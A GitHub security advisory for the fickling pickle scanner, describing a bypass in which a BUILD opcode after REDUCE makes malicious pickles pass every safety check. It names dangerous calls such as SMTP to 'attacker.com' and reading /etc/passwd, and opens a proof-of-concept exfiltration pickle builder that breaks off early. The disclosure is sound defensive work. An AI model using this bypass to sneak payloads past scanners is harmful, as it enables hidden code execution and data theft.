GitHub Security Advisory: GHSA-mhc9-48gj-9gp3
Package: fickling (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: <= 0.1.7
Patched in: 0.1.8

Summary: Fickling has safety check bypass via REDUCE+BUILD opcode sequence

Details:
# Assessment

It is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e[PII_REDACTED]0ddcedaf10400).

# Original report

### Summary
All 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.

## Details

The bypass exploits three weaknesses in fickling's static analysis pipeline:

1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.

2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.

3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).

### Affected versions

All versions through 0.1.7 (latest as of 2026-02-18).

### Affected APIs

- `fickling.is_likely_safe()` - returns `True` for bypass payloads
- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`
- `fickling --check-safety` CLI - exits with code 0
- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes
- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes



## PoC

A single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:

```python
import io, struct, tempfile, os

def sbu(s):
    """SHORT_BINUNICODE opcode helper."""
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def make_exfiltration_pickle():
    """
    Single pickle that:
      1. Reads /etc/passwd via filei